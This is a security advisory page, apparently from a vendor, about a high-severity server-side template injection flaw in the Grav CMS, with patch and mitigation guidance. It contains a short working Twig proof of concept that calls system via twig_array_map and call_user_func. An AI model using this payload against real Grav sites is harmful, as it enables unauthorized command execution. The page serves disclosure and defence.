GHSA-qfv4-q44r-g7rv
HIGHGHSA-qfv4-q44r-g7rv is a high-severity (CVSS 8.8) Code Injection vulnerability in getgrav/grav. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-qfv4-q44r-g7rv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Server Side Template Injection (SSTI)
Blast Radius
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.
Details
{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}
When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.
PoC
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 1.7.45 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav to 1.7.45 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qfv4-q44r-g7rv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qfv4-q44r-g7rv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qfv4-q44r-g7rv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qfv4-q44r-g7rv in your dependencies?
O3 detects GHSA-qfv4-q44r-g7rv across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.